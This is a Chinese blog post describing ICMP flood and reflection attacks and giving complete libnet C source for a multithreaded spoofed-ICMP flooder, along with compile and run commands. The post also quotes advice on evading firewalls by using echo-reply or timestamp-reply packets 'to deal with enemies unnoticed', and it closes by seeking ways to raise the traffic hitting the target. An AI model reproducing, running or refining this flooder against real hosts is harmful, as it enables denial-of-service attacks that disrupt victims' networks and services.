首页 > 代码库 > libnet-ICMP攻击

libnet-ICMP攻击

刚开始接到的任务是,要求主机A给主机B发送ICMP数据包,将源IP和目的IP都填成B的IP,使B接受自己给自己的ICMP回应包,如下图:

 

 

发现这样不足以对B产生影响,于是打算借助别的服务器,如下图:

后来才知道自己做的其实是ICMP攻击。

ICMP攻击分为三种方式:

1、直接flood

缺点:需要足够的带宽,而且容易暴露自己的IP。

2、伪造IP的Flood

3、反射

这应该就是我上面的那种方法了吧。

把源IP设置为受害者IP,然后向多台服务器发送ICMP报文(通常是ECHO请求),这些接收报文的服务器被报文欺骗,向受害者返回ECHO应答(Type=0),导致垃圾阻塞受害者的门口……
从示意图可以看出,它比上面两种方法多了一级路径——受骗的主机(称为“反射源”),所以,一个反射源是否有效或者效率低下,都会对Flood效果造成影响!(我的两种方式效果就很不同)

引用别人的博客:一些防火墙(如天网)只能拦截ECHO请求(Ping)的ICMP报文,对于其他ICMP报文一概睁只眼闭只眼,不知道其他防火墙有没有这个情况。所以想神不知鬼不觉对付你的敌人时,请尽量避开直接ECHO Flood,换用Type=0的ECHO应答或Type=14的时间戳应答最好,其他类型的ICMP报文没有详细测试过,大家可以试试看Type=3、4、11的特殊报文会不会有更大效果。

以下是源代码:

sendicmp.c

#include <pthread.h>#include <stdio.h>#include <sys/time.h>#include <string.h>#include <libnet.h>#define THREAD_NUM 100/* the number of the threads*/pthread_t thread[THREAD_NUM];int number=0, i;void *mythread(){        int i;    libnet_t *l = NULL;/* libnet句柄 */    libnet_ptag_t protocol_tag;/* 协议标记 */    char *payload_liu_wen_tao = NULL; /* 负载 */    u_short payload_length = 0; /* 负载长度 */    char *device = "ech0";/*网络设备接口*/    char *destination_ip_str = "192.168.1.5";/* 目的IP地址字符串 */    char *source_ip_str = "192.168.1.7"; /*源IP地址字符串 */    u_long source_ip = 0; /* 源IP地址 */    u_long destination_ip = 0; /* 目的IP地址 */    char errbuf[LIBNET_ERRBUF_SIZE]; /* 错误信息 */    int packet_length; /* 发送的数据包的长度 */    l = libnet_init( /* 初始化libnet */    LIBNET_RAW4, /* libnet类型,为原始套接字IPv4类型 */    device,  /* 网络设备接口 */errbuf /* 错误信息 */    );    source_ip = libnet_name2addr4(l, source_ip_str, LIBNET_RESOLVE);    /* 把源IP地址字符串形式转化为网络字节顺序的数据 */    destination_ip = libnet_name2addr4(l, destination_ip_str, LIBNET_RESOLVE);    /* 把目的IP地址字符串形式转化为网络字节顺序的数据 */    protocol_tag = libnet_build_icmpv4_echo( /* 构造ICMP回显数据包 */    ICMP_ECHO, /* 类型,此时为回显请求 */    0,/* 代码,应该为0 */    0, /* 校验和,为0,表示由libnet句柄自动计算 */    123,  /* 标识符,赋值为123,自己任意填写数值 */    456, /* 序列号,赋值为245,自己任意填写数值 */    NULL,  /* 负载,赋值为空 */    0, /* 负载的长度,赋值为0 */    l, /* libnet句柄,应该是由libnet_init()函数得到的 */    0  /* 协议块标记,赋值为0,表示构造一个新的协议块 */    );    protocol_tag = libnet_build_ipv4(/* 构造IP协议块 */    LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_length,/* IP协议块的长度 */    0, /* 服务质量,这里赋值为0 */    10,  /* 标识符,这里赋值为10 */    0, /* 偏移,这里赋值为0 */    20,/* 生存时间,这里赋值为20 */    IPPROTO_ICMP,/* 上层协议类型,这里是ICMP协议 */    0, /* 校验和,这里为0表示由libnet计算校验和 */    source_ip, /* 源IP地址 */    destination_ip,/* 目的IP地址 */    payload_liu_wen_tao, /* 负载 */    payload_length, /* 负载的长度 */    l,/* libnet句柄 */    0 /* 协议块标记,为0表示构造一个新的IP协议块 */    );    while(1){        packet_length = libnet_write(l); /* 发送由libnet句柄l表示的数据包 */        //printf("the length of the ICMP packet is %d\n", packet_length);        /* 输出发送的数据包信息 */        }    libnet_destroy(l); /* 销毁libnet */}void thread_create(void){        int temp,i;        memset(&thread, 0, sizeof(thread));        /*创建线程*/    for(i=0;i<THREAD_NUM;i++)        if((temp = pthread_create(&thread[i],NULL,mythread,NULL)) != 0)                printf("线程创建失败!\n");        //else                //printf("线程%d被创建\n",i);}void thread_wait(void){        /*等待线程结束*/    int i;    for(i=0;i<THREAD_NUM;i++)        if(thread[i] !=0) {                pthread_join(thread[i],NULL);                //printf("线程%d已经结束\n",i+1);        }}int main(){        thread_create();        thread_wait();        return 0;}

在Ubuntu14.04中编译方法:gcc -o sendicmp sendicmp.c -lnet -lpthread
运行:sudo ./sendicmp

但是目标机接收数据包的流量最大只能达到3MB/S左右,而且目标机也没有很强烈的反应,效果不理想。另外,发送方的发包速率也不高,期望发送方的CPU全部用于发送数据包,但实际测试时CPU只能达到30-40%。暂时不知道有什么更好的改进方法。

 

另外一个思路是,自己写一个服务器,用来抓取A发送的ICMP包,将这个包的内容填充的更大,再发送给B,这样可能B接收到的流量会有所提高,不过现在只会抓包(用libcap抓包的代码在另一篇文章里),不知道怎么填充数据,有待研究。

libnet-ICMP攻击